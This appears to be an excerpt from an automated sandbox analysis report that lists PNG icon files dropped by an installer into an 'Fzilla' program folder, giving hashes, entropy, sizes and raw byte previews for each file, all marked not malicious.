MD5:	91FB39D65148161EA84FA5B6D807EF95
SHA1:	90BE3D473CC4CA73C3F9096AF4EE43A1BDB185E9
SHA-256:	0080E41B8DB8F6B9B8DAF50B22B0B915F52B065650D9BA648E1E95E824A07DC2
SHA-512:	68211D6AE049E32A5AB0DCFA2D3064CFC28F0BB87206E51CB289087C3A2553C47C92B225678153F7372D3ACD236BB57079DE161EEB3F051CF429AEF3565E7F11
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..........Y....m7.mF.m.v{.m.m[s..8..~....:...ttL{.....m...Y.........wB.....h..%..g...}..pss....Xm`` ......AA......q.A.._...w...+W".........}.\|kk...7.i..[6...g,:y.36o..O...._.r.~.t/>4.._...1.gOL.:.S.u.U*?}..\\..v..H..p....)&~.......t.LCc].U.a.....OK.?G..."I.(....@..E...-\|..#.....2..9[fd.Q.%.0..b..._aeU..b..8.`.(........1.@.7PJ\....u.s.G..Rq4...oe{.4e......I.cA.k.f-..p....4y.t.'I.]..o.x...r..1b<..G.g....... p......).~........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	7.857841047604233
Encrypted:	false
SSDEEP:	24:aYUEg+D6Rpm300GWLfp8uSmsbew0PHjps3LyFee00ibyIM:aTE3I6tGWLRCmfK3LyFm1WZ
MD5:	7267294D33CA396D1E1138EF8FBA0733
SHA1:	76378823A14867D35964FA6EE29779A6E27B4215
SHA-256:	E0D881951B2729F54E7793C0442D34EA8BA696C45E3F37B2E7AB6A5052CA87FF
SHA-512:	B6421C13A0007C7B031B419B3CC0AABC2ECCE1E739717179B3849C3672A6C45388A4E34CCB6384488C018E1A6BE596286A88913802D3DBC3D61ADBC4019BD967
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx^.W.HUg.~..{.^...J]..N.hDk.."2,.0`...d....0...-....3F..F.Z.).dA.5. k..nZ...z.?{.....=....^..s8........s.7..l.M..7..8[ ...!....y..N....=<......w.......F1..L.....%K......~.S.....s..;mbbB{..........H......".)"..@.......1.{......".0.....%.....].....4B.u8.....a..0.;.f..f:[.4..gLp,'D....ABB.,....t...:.RJ...h.5}'.Q....S2..$gz............5}w.\....&.p8..Rf..YS.3g.`..(++.;.7.S.X.tT...@..)8..q......Dbb"..~..............=..........h.).QQQ...GEE....T.....w....026...p.;.z.t._...8.K.V.Wr....1..t.~..-(...e....kh........_../lwF$..\|....jh@.......fSEfR..RWW...4...@......-.Q.(t...<.\|;\|.[\|.wM...1..[.&'.....-3'..I.i.\p......x<.{77...U?..?...O...X.:o..c..J,@).t..M...+....fe9.E....2.I.J........C...&..).4.o.mJgxF<8~.8.-_.....0.?...LA..P..c......$.]..H......I.....o.v.......CLm...A(.B..A .&.k...t.i...G0..8.j\|..........G.rr..99o..q..T..6q..).9....k...;.....1.:G...0......\|.~..mh.%.A.T....r.M_..XYV...{....M.?{.....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1587
Entropy (8bit):	7.846513980152697
Encrypted:	false
SSDEEP:	48:17XKUidox2OWDGv/ss2jiquMyQAq2HlYm40HORo:1bKNmcOjvks2uquSXiE0Eo
MD5:	585E951EED607EFB6E3140F600540DDD
SHA1:	1C5D514E480E03D45AF2EAA352463B7BFAA43A3C
SHA-256:	7289AF75F945E34C4469ED24AB2D8D2F64D835128CC67F91B366313F6EC63E6D
SHA-512:	37C98461A50B4E06C8F6BA65E77EEA9753FE03A788DBEC94ADEEE355D39939E3BF0AF74C0260F3A503B4BEBA45C60AA19477485CD7D48DA3735F10A964BB9A94
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..$M.}..X.Bgcm._.....p..m.....Y..1.a..7...+_eee........+..h..W.......j.H.`.=IrM....M.....RRR.{...\|x...h.Y.A..}.E....sR...PsLM!(++........X....v..S'.j..^..X....UUU.........jj.......v%[O.C..jz.6....E9.~II.x.a.Z...[...Tm&@...=W..".......A.~.PZZ....}........5.t:..^.w....<yR..nY..5%.".#.........A.j.k..-[.._.RB..d.....#88.\.....L..q...jryNV.p8.\|FG.t.\|y.L..OO.[.8.p...\......s..!.T.....iw..!....Y..'+LJ...TqB.p,..FEE..G.z...LuZ....}...n........[..f..( (..T..s-.G...W....0..TGD.}.}.1c..........qj.P........#p1............\|...e.^..7o`.#i12]B.}...&M. ??_E`...j.$.:.........5.).Fo../....)`+...q.Q......w.\|....{_...?...-...7O..9r$.z.5Y.........C...._.............N[.o.n.._..n.t.y.y.{w.(+#.v...v.k.z^a...e+.:.~....L.....7+.?.M,.b.....i...}........CO0@....fiuRj[ ..' . ./.......'K...mE.....X..6..8...;...i.B..TZ\LG..#.8.%...=..K....e?}.T.n.R....(<,..S...oZ.=.N....j...-,....v.....y.v.....H.6T..C[.m#.c..9q....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1791
Entropy (8bit):	7.847449342886944
Encrypted:	false
SSDEEP:	48:eMRtrezczKOBmgsP5My5dD9WvvUQ0kLo8ehAnX:eqKoGghWBw8ZkDIAX
MD5:	D14C43C45AAEE8A0555B0C101BD2069D
SHA1:	EB9438007C8E585A81D35E460D46D1936286C203
SHA-256:	FAFDBE163DAE7AE400D875A3B6C92AE108DDD864A94B368B8E0D1AADB58404C1
SHA-512:	CB83623F871889051A54F5591B11308654BC988B35C7FE0D2A97C9DEE07A95C8BE3970F60F12B3EBFC3662C845D9E70BAE0FE78C44AB76F0AC378220837BE18E
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V..d..]eW..ol...c......F0.m.m[m......T....v.s...{..q/..E...6lX......E.p8....MP....Q..}9.<.........'O.....!...Q....(@.n.....r..x.........-...<.@...c}......./B'.:Q...t:.P(...t...<.}....`..$.j...A...4b2...2........0..^.....k4.p..0.{EV........J...>.{......[.@..6l`...{x..........2e.V.^...B2A......___xe@..FI1Y@..5.];..III4..{......_~..o.!Pt.../_...X."......R...SRR...G...7.Y^.~M`..tHOO.3...x. .........h..<C......>0Dd...S'.l..P.fM....,D.....E.T..>p.....K.......ig.._..JV..#....3.K..........^\|MJL.......0..Z..9..x.h....P.C..7.eF......d..%...r...Bd.e ./.e...W....S.w....m.w...L&.t.......!..3\..o.U.(...=...w...g../O4..`.....78e....x....o.....S.b..t..;v`....vV.~..7dee.......:.. ..i......W..t...~..7Qo....50pd..]~.df......T".g.E...q..m\.t.Y....\.\|....BXX...]......]L>(.dE.#>.[.n.c.b[..8...X.<.*.....r_.....XQ.,.w.....pH.e....N@1..LD...O.....}......n...A#...0.7C.(........#.sg........8q....cM............?

C:\Program Files (x86)\Fzilla\resources\lone\32x32\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	7.8157164183499335
Encrypted:	false
SSDEEP:	24:xl862wKE1UmdNjeIEX/zLaQSFQCXVp72uETa2cP060HTEYgO/dUgQbZTiKj6:xP2wdbdN6IEXLeUClp72uR2cP06hSobU
MD5:	396C9DB62CA43EEE5234620E1F927C02
SHA1:	1F15CD28886B5CF8A1CD27D5E2B45CD8F514D8E3
SHA-256:	F1A0E941CBB0D8F24B301AF2CC04B8B3AF013F5DA3B29AB5650814940DD49B25
SHA-512:	F23F23D3B0CF51A619C9E8F3E16076BD785636FF10C3BB8C1A2E65E00B67584F840055E1DA595BCA158B18AD1D0C2FFFA72EEC632C01B040E8EDFCD68FF08AC9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....ZIDATx.......F....m.m..o.m..~.{.I.-n.Rk~U...\WcY.Y.R3SS.gh...^..N".n7....zr.9q....m........13.,....\|D.i...{...S..gT..B].d.B...J`..^.Uq....j.;.Y..Dr!RH.^.ftm.Q..TN.)..,Bw...`..&.Yk.v.qF.....y.N...Yt.......}F.....~i..Xz.#........$ZM.]c.i...+.Q..........r.e`fC....V67+....(.WC..t%.sC..u+.ux.....n.E.]=.~t=.....@.k....w....]]...+..+'.8.G..E..FU.....&.]..m....V.6.....(noU.........p.B. ..^~.+.........D.x...X.m.(.veg....Z...............(....{...zZ,.F.....RI...`.....D....M !1..[.pU.j. .>...x..s.]y..."..>...u...o....?..h..K ..J... .5....h.E..3%q.....g......?..a..?.SQ8l..s.x...r0..U..{!..$" ...!.y.v^H. ).......9.-.i[y.!;.....FL}p^._..J..(\|..../. s....B......##......4.......>;/..._.m..%...:.=.....i+w..}g..G4d.....)...E/]..Y.....A..M.........3W~..,?.....o.W^........6..u" ...[..._\|G..8g.8\|.39.<..(.(.....ik{........ .;... .Q.h.y..:..}...Aj.D.$..@._..X...0l....:5....c.^PD...QW...rC..&.C..!....<.........`:

C:\Program Files (x86)\Fzilla\resources\lone\32x32\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2073
Entropy (8bit):	7.9025915400711595
Encrypted:	false
SSDEEP:	48:OWbhcRbGLZDRtxPlaN3ED15ZT+zgM9JbFTX9Xgh+FNE97:OuhcRE9fx0dED15Zmh9JhZ8pt
MD5:	38A9D4C17DCED01B3D09A2D3ACDC6C6C
SHA1:	4F2707734750C6F4B665A31E634CE4877512FFC4
SHA-256:	847BF6503E2D0D2AC35CE6B81410899C94021C494CA075EB74620CA5968FEF31
SHA-512:	A9D40B219F9B8AC3DEFAD67D2FFF2DEC06272C96969BF08D0CC325EB2E36312F7F04D060E3758D31B950081A49BBB1CCBFF8A40A5F01F13A0B3B6DA5376A6927
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...pl....=....s.m.Ux.m..w.c3.'...fWWjr...U..........?,^.x7,).FWX..t+.j".-.l.7..v{.s..o._S..h2...j..k..]..~..D"A..u.GF...3...ki.=....c..=...."...V.x..K/=v..$..H..7>._@6.o.x.+....78..{G.Z[.\....>.~....V4.z..nz....._...e(0....&g...O{cZk..........o../..'jj.\|...x....$.'.d..b.A....;2.....f2x..!....z.p....K"..t.......Y.v-....!..t...q..p...'w..Nssh<......:.].:.N...S4.0u...9..>....#.\|.k..Q2I....!.m....z....@...._q..H.R$f<,...NXs.....bF...8..>...8.74.z...b..k..........~.`..b.O.}..5......C........12W...].......W]t..].o.ve.W...x.....h\|...\...H.....\|.....@..g...?&_U.c..9B..}?.x...B.a.K......%.j....Pw..O..!..g..~...z.(..u...@...x.9,....D..F..%.....I.a..u...q.O.}.......G .P.N.....9..['.c.....m..#..W.....s6..!(-]_?kVR.....\|.9..n..b....,..C.....#9A...5..7.....d.=....X.L.I.)....+....z&.....\|....H..?<v.e.......:...D..5\|....[....Rc.a..%i)......O!.O$...ak.%........i...K.A.5.^Fq.q!..V.....H...6Yf<7.H.F<..Y.r..

C:\Program Files (x86)\Fzilla\resources\lone\32x32\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.906926285698179
Encrypted:	false
SSDEEP:	48:a9Ajbg2WGjfhxvcKFbY4xIQHoVcOcEqeXxnzWnMpVLvOgCpWzvsbuw8LZBIrCzZH:rnvb7fXjmjXxKm5AWz0aw8Lti4p8x4
MD5:	6199A6543608CD62F1057EA313C73B2B
SHA1:	7D6E574BF769AD70D47AB3D969926E46B2477583
SHA-256:	0F6082A88FBA5E8B9F31FDB35173AE83CA24CEBA4C5F8DC0740FCA5DD87ECA85
SHA-512:	015F37F53DE111C2D16EE66EC006F31FE9D8493F2B12EC2A3004251C78B72BBE1D16304DB0D805B10D627D90DA440E9D3B6034F55E18834BDDDF307847FBF0F6
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W.........vw.t..1.6...\|.?.m..m#..j..Uu.9+.Fk>w..zW..."P.%...b.\.......U..Y.\|.c../.C.....{)......={6b.N...S..+1.......[^Rb.........).Uo&.}.@.g....Q@......N.....c..5.+1q...L&E"...8.@.../.....7o..Mw...{.S(.....].....@k..{}j.2N.~.0.....I+G.:.&tYE.E..^#.H..OY...R.....4. ..h.N......,.D.i.AZ.L@)..p..H2.X..B..J..........R$b1.-.V..{.l6.C.....~..` ..L@.H...\..m...;..t&O.....~.Ahll,.......x...KY.}.......4@..]0...E..."...Be.[.P..cG...g[o.......p6....{....D...8q"...q..R.....H..H..... .>md....&..0.e.PU...`....7U...p.....)BC..=.F$..72......P..........%.(lh2E...V.M...7..Q....Cw...A...i.......;.s......@.5;g.y.. ...?O.tI....8.?:.2Ymi#....j.$.UI..k..G.0p.P....Q.9.........]{5g6..q.....8....&.............~..P{Y.3I@nE$Z....ox..o.}{.,.[.d....A....:.v..}....c.ISB:g._H......._...:.rb.J.P.Dp?..sY6w.1.w8.-+~.....]Ar`@x....6,A...$O.......g.L."i...+.d.Wl./..z.%.vE.^Vg......"8.X...........@^.i.......T..3f.8..k

C:\Program Files (x86)\Fzilla\resources\lone\32x32\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1845
Entropy (8bit):	7.853334987785862
Encrypted:	false
SSDEEP:	24:M/RZzToQGhPU9eDUJ+QujoBxT0ItoujFA5fwjH8SNvEgY1arEFwsH/LtDtyrtDSf:MLz0hPv8rFA5fevtcaO5/LhQ7aFrXb
MD5:	1EFEC3BD1BD15BF4069801D03C8F187A
SHA1:	9559987867A7EEC95B8DF8C494295ED54C361F20
SHA-256:	0953845EF159B739C9067D57643D180DC04B9D2ACD692DCADE599B7FE35BD85B
SHA-512:	9C9299D44AEA763A2CF2EAD045681621057A9B6EB3EB3BB96791B2E678AF42B690108CD1D49F1AC617951101D2C9DA2A8E1577BB24EF3C7E923D9D4F6022F28F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...t......Q..5Fm....m.m.6..Mz.6.99.]d.ZE.g.o...l.{..?..!`..o....r].eZI(J....X.y.L.eY.....(....u>3>^,6...Bi.......;U....;.i^^.B!...[)..6FF..M.$..8q..,H.....P.....n..m.........P...._......2G...y.~d.....b&.Z........."...w..b.jq.QCQ.>.oD...%.c.7i".^^......b..@K...'.D...+...0..E. .vP........(..Gp.._..'..y....Y.,...H.. .b.iOj....x..K.{..y</.7``7h.....\|(...Y.#...`s........xp..}#.,....... .;Y....X..h..h......;t....!92)...L.Fy.....6...q....../....j@.3.\|F..H@..;.I....p#g..)..j......+....]Q..A...k6h..Y. ....Eu....Ot.O>'.x......+!..._.5...v...........2..p.l....&....." j...FE...zb...[..t.....1....2...o......=3.E.1.F..N&..I..jv{.I../..........jUK...q......Zs5....b....]..+.R$q5}..TJ.FYE.Y..z.&N.5..F\|...H...jx8j.R..`$@QU.....c.5d.w.C0..@............D...H.3........U.%[o..)..Z4..;7.....8%...>}.z;..T..AV.=p.K.......~.\|.B.4.x..2...L3..^..0e7`@....S......@C.V...[m...@s...r/z.%.X..-........-...e.5.l..n.......q.zQ2&..j...

C:\Program Files (x86)\Fzilla\resources\lone\32x32\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1259
Entropy (8bit):	7.810633047574094
Encrypted:	false
SSDEEP:	24:lajY5BiCUZcS8ASxhVr1JllfEYiQw3pEkwQO3u07qvtJvxUJVB53aG0Jcviz:F5Bf24xhJMY38pEkwQO3cvg53aGAz
MD5:	1C3BA4BDB2B0BB052679BDB099D24CE0
SHA1:	3B6A21FD3B3BF57C52A4CF1AE78D8684D669B600
SHA-256:	24FE6BF713952A9AE7D6CFACB067778B7142CAF12E5C8AF615852684F095EAB7
SHA-512:	86C904E372DCE724AF61DB391AB9BECCBB0FE40D1D7B4ADD545D7CACFB7D7ABBF25E6F7CED520E83BF18898BE5A2DA7CDC26512E20F9548CD11C5B6B0F1FE6DC
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V.x#k.....dm3...m.qj.m...3.m....n....2=.N.....?........;..7lV_..N.%..".\|....$.....6m.^..#.GC.5..l.=..y...u.1t.S..B.R..V....>e6...3....w>J\|.f.W...U..3@........Y....}M.e.:lSZ66.....'#...q7.E.I....\|%.DJ3...T.K7.s[.L...3.K....9....B...J.`.5R....4%...9~!...(.4.......(ln....3.&..8z&...".,.N.m.m.a..Xn.#.ik..D...!.rL.>.........:.n...q6r.LM...}.g...M.a.........[...}...&..H).~8-....z1n.L8.\|.&...\|.........0.z.....oD..2.Q..l7..U...S.7..7sf8.....!....{...].7p4t.LM<....\4.....Q.....\qy..d>.......}...M.dy&r..f..".t..2. .C.&..M,....G`....#I.;..+...-...t.Pn........$......J.....................m..4.Sc._Rn....z0_...b.p......q....C./..../h!x.'..}......"/.J,..7.....`o.B:...4`0x0x...[.....0.~f<Z..M...\|.5....K.Tei..HS:".~.+&... .9F.....6....%_.....Y...F.6.../....m.S.u8..)v.bDw.x.rfd\I`e...~f=...,....E....M.yl...M.....z.B.>..KB.M.yx.x...M....L......n_..2b.M..........p....w......dC...Tv..^$.../....Bx.\|..E9....A.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1564
Entropy (8bit):	7.826603017999927
Encrypted:	false
SSDEEP:	24:mBWNW+B4qjmZW1b+MGY8Cdy6nQYm2vAfl1sS4Xb3yDQH1ZyBVOohy6Bn6cGOWuf:mBWrVtBP8My6J+dubkk6eVuVf
MD5:	D8F484059C6DA2B01D1BF36B8A8B5EFF
SHA1:	E2FE8AD90685DEAC21E788B01657144367646FDE
SHA-256:	C306E766C3064055AD4220698BD36AE0939BFE06E045C93B2731AE3681073BD1
SHA-512:	F42581A09FD3A7FC6DE3554B66284B2147F654623ED0E05E6C986F090E4CEDE0E16675BEF02B5E7EA917553E1B74F2B8FF1E50AF681DE8453C49BD81214A0C4D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....t.n.......v....3.l2.].F..6f&...mt.~..Qd.;.w.........lmmYlll8....?.>.}...>...sBj....k...0g.....N..2....C..o.............^.x....,.^.7...R..C...d.....A2.}.$...6.......\|.............s..?..(.mYmYrO.L=...a.e.3M..T.P...!.D..4.;.L.?a...boo/...;.......m...\|....:.jRyR3..!....r..<e/.(..D.i.]+...~.}}}.ww....XPSSk...gC3......`[\.E.O.....l.n .Dq...R..{.......&.V..........4....dr...M.%......<@...#.lKe.e.6\T....}...'.Gquu................`......@....//OHO.\z!Xe(..u'.c..<.\..w.3\|...rrrrZEE.c.Add.T...P......0l..b.. ........w~.EL..,..=....2...H.K...3.......q`.`7lj.............TRN..&.0....)).y....0../...q41!..\|0.-..i...O. ...1.D..3.w f &&&...............).....! P..'Q.....\|......u......%.Ro....F.... f....u...V.4...X..-....A&c.Tq.....j.l...j.+...4..>.H`.@".&2.1./..}...?...g......$.........U;. .v....DI.....m.u.^o...O...(.K..%...3.[6.$i..!.V......;..M..1....$.. >L...@.~..h..oV....,.o..hR.xR.F?JR....t..Z.+....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	558
Entropy (8bit):	7.493223074946605
Encrypted:	false
SSDEEP:	12:6v/7us1b3GmtXAS6buSPLhE2Jmti3Dkbit1L2zWE726KyQIw5bz:neGuADbdPitiYs1cj3KtIwtz
MD5:	C6C23F237019311D1E9820F9A840537D
SHA1:	6908DB5AD2A22573350DD96983B7D35C94311B85
SHA-256:	1C956E14E45D41DE7F55FCE1855EF1BF04E33904AC8E4BBCF8C7D900C2731D07
SHA-512:	02F3D001C247D71C0F12D436652528C35616138EADFEA4E2B16B91D1D2EC88852E1FC61B57A2DC4BAE3531C142AE6260EA7F3A05652929032CD1226ED856C432
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx....4E.G._U..s.. .....4..p.$..`.5..2^..E.#g\...T......<...._^..A...!...........[.....y..........:.yz..o^.........."...Z...7....&./....F.0.....-7.G25.I.46.Z...[.....H`nl).l....v..h....`.A......F.#8...hj..)fJ7^[.QAP.j\|..].....k....N.>..!.....?.`m.Y....k.......l..Z5$.},,...~v.Q..>.._7.?...,.......-f..4...~f..kQO.~.....f....a.M./f...AA..`n.0yW.....@c.m.c.3!."m...FH...zz.+H).....@tC...y...^L.@N..;.=...Q....b.....y...I...y\|..GN.!..*..s...;6..".M...{.../~U"..uR..eY.QD},b.C..?~..D..u.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1531
Entropy (8bit):	7.807712083053081
Encrypted:	false
SSDEEP:	24:mp016kQcyfuYWSawpBsF9yD4O367UNKcnaPtMzERKeA6bXn46llc2yQxVlW6n8CI:x16kAdBsM4VgKruz0KeA6DnJl5V868D9
MD5:	9782CC925B205531FD82F757089560CA
SHA1:	A01A4F2074D348ADDC879CB10EA8EF89419CF094
SHA-256:	FD794F32F1AC72EBC7DB8B53586C6111FAA30BF6EC9E115067B6D9F437E5EA62
SHA-512:	ADE88A9962E51CFDAE5D925692329E8A42F2B9DBF2811CA38CFD74FCFFF481D65F323C6DC060008A19234C24EE6785F69AB0731D8BB6E09CB4F6586E13D8421F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....4.......x...a.6..Fm..1..Am..m[.?...;..'7..d.x.Qu.g.;g..........W...w......eY!"..C.TL.._......r..e.w..4,\|.3.I.4..........w..$i..X.".e...\|.{.u...w/........=.q.X....eY.B.f%H..C.....?.X...k. ........>.b.."...y.....(..}...f3.a..j..p8,Y0.N..v.4..L.P...K<....3.....~..\|..t..}. ..t:...%..C.T.....X..x..EH%R...&(..y.P.V.8."....6...E.....P.0...5..6M....@..?.....?.!.c..#.IQ.x..Z.e..N.XW@..........G..C}V......{.\|...[[....{{8e.....S...F.....~. .......z.c .\.a.~......<.YYA..1.tr.uG....;T.q%.S..6..at..N`..9?.......<.y...3......U..\...,.......8.........`:....(h...E\\|...HT.....-.x@...'@...R...sr.)R...=..(V..`.#.X...{G+..). ...b2.)........8.G..J...m..Ar.K ..........9......k..1]..'t.;.V.?..../...M.!.".Q..2.!.....NB..0C.jJ.L..I..S.[....M..uw..IP..@m. 8@.V.X..'......'.-L6$.#..&......EB......d\|..e.....[.\|>....7o.4......-..R.{.S..4.Y...b..@......8.R...[.n-.Xt..(Y......0...7....O-.eg.\|5-.......}.?d......G.1:..&...E..`mm...%

C:\Program Files (x86)\Fzilla\resources\lone\32x32\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1540
Entropy (8bit):	7.831591508875402
Encrypted:	false
SSDEEP:	24:Oxb0TBQLUHYhu1JKV0eiPOyhIRe0PnxQMzqB9V/4OjReUPTrFJ2I7QD6LoPlLEN7:Ox4TBR4hOI5iNWPxti4OjReMoiuPlQ3N
MD5:	EC15FBBBD193EBBE104664EE7CE9B3C7
SHA1:	8C19DB80E8C2BF49AAA8A25CE7208A2F33FF89AA
SHA-256:	9E1858549C0B18A8B1D71A596066CE03A9E2E6F4E64D5E2E563D14299EC0BF8C
SHA-512:	D8C24BD2D4B7A6AF3A043C11F2F3B74FC93EBF9E2741B7C1019968CD4BDC81860C87E914144D35FDEE21AD870E600BE44EBA8A484B9E6F8C54B6814AD3E5E794
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....m.....s..g....b..+.].S...m........N..{v7F1.[....{......5o~.M......Ip........uo~+..M..Mns_..(..........l..W.........(&..+w.g.......K.4.C.3gwrg o.!...x....Z)......E.].]`".\|.;.8t.D;l...t?....J.....oL...kP.\|..3CDj......y.f...?...........{...<..?..G...O.P..MtEC..ZsE.....4..x^.......g.}.....t.o...-.cv..#..=.0O.D.F.6....Cl..EKC.n.%...x..b..phP087.,.u..'O.i.....?...e.7O.=.ua2..7..A....._.]...Hp4.p.QT.Z.A@. 6C..F... .....F7..o....G..]'.........p.....D$.J.(.@...%I5b.....bX...p..\|L(..s..m.n.EX???".0U..9.d.D...A.hG.... n..jP...u3P.t:e2..2.-..u.lu*+P..6+..Q.Y...'.r.....a.bh..3>.m.n..`}..P.Zq....,8u.P..Y.H..p..?&H4T.....oA..n....E.(.c.f.+u.~g.G.T+.............d.y.{...).vl.B.Q......~..f}..t.e.^....53...K)..........].>O........H.ZJ.....9.@.}.ql...]3.4/..8F.9..(....AS.LR....Tu.U..5.;UJ.sG.n.dXtd.q.G0....9.y6......N..'Fj....r./d3J.\..gMK.&9M..HmhH?F..].`.ay.Jb..R.....h4:."..kW.eA.'P.T...<wR.9....J.Krr.>.2..gk

C:\Program Files (x86)\Fzilla\resources\lone\32x32\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1878
Entropy (8bit):	7.864969384248042
Encrypted:	false
SSDEEP:	48:OfuLhIF/FrE8C/xYZCQhRkiqj/yaWrpWpJ:OWLhITrExZOh5N6
MD5:	67D308289EE1474FDCE90B41C51AEFDC
SHA1:	D68AE9657A7901D2F8BD4FD05B5775205A5F1851
SHA-256:	F2248107E34D7E0AE7CD995ED1D30E97FE11DCDDA7C5A31D0E9F75CCF1D412C1
SHA-512:	B408EEC16D770C182CF7CD9A3C456801667CF7AAD2FAA4C33C753C30DA7006CDEFD121BA0066636E28BD000BDBFDD9BB5F9E5EFA2437E288BED15B89AB908346
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...p........,4...ffffN.. X.......y.~h.......t&[[.0.&....U....0(^..7.=:.(.H......7._...7.yu..Oe...f...k..^._....`......h.#bP...t..x..[..K.......m..6.....q.-)..s5.hJI.......k...n.Z....E...Q....c..5......4..[u...v...........LOOS..=.......}y....D._.P_(`.`-.T...-t.lS..c..Y..^...PM..}.......O..."%......7..rS...{.5.S?:..c2..y$.6..)p&..S...<...:...P8..t.:.s...+..[..5?x...g.QVR.Q\|..<.p.ZE...1...c....`...Q....p.............fggw_~..S...'...........B.!...`.4..H....hciL.`.4..$.....RJ..w.].v..aM..#&PcHd.qCT.C."...`..X.].Y...@}.$......(.rXUg..U.:.&H..?5.KJ..5.`~..X...ULFl....?E,(...b....E1c..P..^.).,.X.B..b..[_.u...m.l.i.m..ipP.q.u.u....G.&.ms).x.CBW....U.J1...1....~...S.uV0#:x.3........4.&a...J....6..L...bE..}?...G0y.g35....~\|..K...m".a...._.i1.2.....R..\&..SU.T.P.....0t..s.=...p....Q.......N^V.....k.<..zf.NjS.!.X.Z.Dv.#..L..3..K.........3V.E#=?.._....(vO8~w:p.R.../..2.B.6...q.."D.Q0....Xbf.l.S.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1382
Entropy (8bit):	7.829437550663059
Encrypted:	false
SSDEEP:	24:ZHWbK54kdBk3VZJPt5FmRgGnwkrZQbtxFMdG+iv/XAMzZ8M8RTXzkEk9Qc:ZHWbwLdoZJP3QRgfWQDMdbiXAMzZoS55
MD5:	38F3EF95D2C88E76DE8A86C2767DEDA0
SHA1:	7CE461A8012F2DBF323F3595B32B30C4CC319FC1
SHA-256:	48CF48584A88AC33B86D201CFFD05DF6DDF3DBBCA672F8F76C572443E08CF24F
SHA-512:	EA0ED87445FD039B8C5A8418D34EF7E241731F9205456B7AEBBEAB9670466517CC61D018F21685BA94C1ECC631B18FC25111A3B950C0000D68CF6B55BE5449B8
Malicious:	false
